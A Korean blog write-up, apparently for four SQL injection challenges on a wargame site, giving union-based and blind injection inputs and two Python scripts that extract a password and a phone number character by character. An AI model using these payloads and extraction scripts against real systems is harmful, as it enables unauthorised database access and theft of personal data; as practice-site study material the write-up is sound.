1. ' or 1=1#으로 sqli가 됨을 확인할수 있다. union으로 컬럼을 한개씩 늘려나가면서 컬럼 갯수와, 유효한 위치를 확인한 후에 공격하면 된다. ' union select name,email,3 from _User_SQL1_ where name='listito'# 처럼 입력하면 listito의
이메일주소가 뜬다. 그게 답.
2. sqli는 되는데 입력할수 있는 길이가 짧다. 하나의 계정 비밀번호만 구하면 되는데, '||length(pass)=13#으로 계정 전체 패스워드가 13임을 알 수 있다. 그리고 패스워드를 like를 이용해서 한글자씩 뽑아낸다. ||pass like '첫번째글자%'#
그리고 첫번째 글자가 뽑혔으면 계속해서. ||pass like '%이전글자%'#와 같은 형식으로 참이 나오면 잇는 식으로 코딩을 한다. 근데 희한하게 패스워드는 다 구했는데 로그인하려고 보면 틀렸다고 나온다. 이건 왜 그러는지 모르겠다.
# -*- encoding: cp949 -*- import urllib2 answer = 'JX' before = 'X' for j in range(0,11): for i in range(32,128): print j,i,answer req = urllib2.Request('http://www.dareyourmind.net/real/sql2/list.php','user=%27%7C%7Cpass+like+%27%25'+urllib2.quote(before+chr(i))+'%25%27%23') req.add_header('cookie','쿠키') page = urllib2.urlopen(req).read() if page.find('Britney')==-1 and page.find('Amanda')==-1 and page.find('listito')!=-1 and i!=92 and i!=95 and i!=37: answer += chr(i); before = chr(i) break print answer
예로 listito의 비밀번호는 JXoagOzj2nl5s 13글자가 잘 뽑힌다. 근데 왜 로그인은 안될까.....
3. Nicole의 전화번호를 구하는게 목표이다. 사진을 누르면 post방식으로 id=1 이렇게 숫자가 전달된다. 너무 취약하게 보이는 부분이다. 저기다가 sqli를 할 수 있는데, id=1 or name='Nicole' and length(phone)=10# 처럼 해보면 Nicole의 사진도 보이는 것으로 보아 니콜의 전화번호는 10자리이다. 이제 그냥 bsqli를 하면 된다.
# -*- encoding: cp949 -*- import urllib2 answer = '' for j in range(1,11): for i in range(32,128): print j,i,answer req = urllib2.Request('http://www.dareyourmind.net/real/sql3/list.php',"id=1 or name='Nicole' and ascii(substr(phone,"+str(j)+",1))="+str(i)+"#") req.add_header('cookie','쿠키') page = urllib2.urlopen(req).read() if page.find('Nicole')!=-1: print chr(i) answer += chr(i) break print answer
4. sql1번의 db 이름을 구하라는데.. 위의 1번 쿼리문인
' union select name,email,3 from _User_SQL1_ where name='listito'#
에서 ' union select name,database(),3 from _User_SQL1_ where name='listito'#
로 바꿔주면 _SQL1_ 이 나온다.
'webhacking > sql, sql injection' 카테고리의 다른 글
Lord Of SQLinjection zombie_assassin~dragon (0) | 2015.02.02 |
---|---|
Lord Of SQLinjection gremlin~assassin (0) | 2015.02.02 |
webhacking.kr 27, 29 (0) | 2015.01.15 |
WeChall No Escape, Training: MySQL I, Training: MySQL II (0) | 2015.01.12 |
RedTigers Hackit 8 (미완) (0) | 2015.01.11 |